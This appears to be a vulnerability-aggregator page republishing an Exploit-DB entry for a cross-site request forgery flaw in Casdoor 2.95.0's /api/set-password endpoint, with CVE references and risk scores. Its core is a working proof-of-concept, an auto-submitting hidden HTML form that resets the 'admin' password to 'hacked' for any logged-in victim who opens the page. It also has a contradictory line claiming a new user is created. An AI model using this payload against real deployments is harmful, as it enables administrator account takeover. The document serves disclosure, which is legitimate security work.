📄 Casdoor 2.95.0 Cross Site Request Forgery

🗓️ 03 Nov 2025 00:00:00Reported by Van Lam NguyenType

Casdoor v2.95.0 CSRF flaw allows changing a user password via crafted URL /api/set-password.

Reporter	Title	Published	Views	Family All 20
ATTACKERKB	CVE-2023-34927	22 Jun 202313:15	–	attackerkb
CNNVD	Casdoor 跨站请求伪造漏洞	22 Jun 202300:00	–	cnnvd
CVE	CVE-2023-34927	22 Jun 202300:00	–	cve
Cvelist	CVE-2023-34927	22 Jun 202300:00	–	cvelist
Exploit DB	Casdoor < v1.331.0 - '/api/set-password' CSRF	2 Apr 202400:00	–	exploitdb
Exploit DB	Casdoor 2.55.0 - Cross-Site Request Forgery (CSRF)	16 Sep 202500:00	–	exploitdb
Exploit DB	Casdoor 2.95.0 - Cross-Site Request Forgery (CSRF)	29 Oct 202500:00	–	exploitdb
EUVD	EUVD-2023-1883	3 Oct 202520:07	–	euvd
Github Security Blog	Casdoor Cross-Site Request Forgery vulnerability	22 Jun 202315:30	–	github
NVD	CVE-2023-34927	22 Jun 202313:15	–	nvd

# Exploit Title: Casdoor 2.95.0 - Cross-Site Request Forgery (CSRF)
    # Application: Casdoor
    # Version: v2.95.0 (2025-10-22)
    # Date: 2025-10-23
    # Exploit Author: Van Lam Nguyen 
    # Vendor Homepage: https://casdoor.org/
    # Software Link: https://github.com/casdoor/casdoor/archive/refs/tags/v2.95.0.zip
    # Tested on: Windows
    # CVE : CVE-2023-34927 ( latest yet to be assigned)
    
    Overview
    ==================================================
    Casdoor v2.95.0 and below was discovered to contain a Cross-Site Request Forgery (CSRF) in the endpoint /api/set-password. 
    This vulnerability allows attackers to arbitrarily change the victim user's password via supplying a crafted URL.
    
    Proof of Concept
    ==================================================
    
    Made an unauthorized request to /api/set-password that bypassed the old password entry authentication step
    
    <html>
    <form action="http://localhost:8000/api/set-password" method="POST">
        <input name='userOwner' value='built&#45;in' type='hidden'>
        <input name='userName' value='admin' type='hidden'>
        <input name='newPassword' value='hacked' type='hidden'>
        <input type=submit>
    </form>
    <script>
        history.pushState('', '', '/');
        document.forms[0].submit();
    </script>
    
    </html>
    
    If a user is logged into the Casdoor Webapp at time of execution, a new user will be created in the app with the following credentials
    
    userOwner: built&#45;in
    userName: admin
    newPassword: hacked

03 Nov 2025 00:00Current

6.3Medium risk

Vulners AI Score6.3

CVSS 3.16.5

EPSS0.00404

SSVC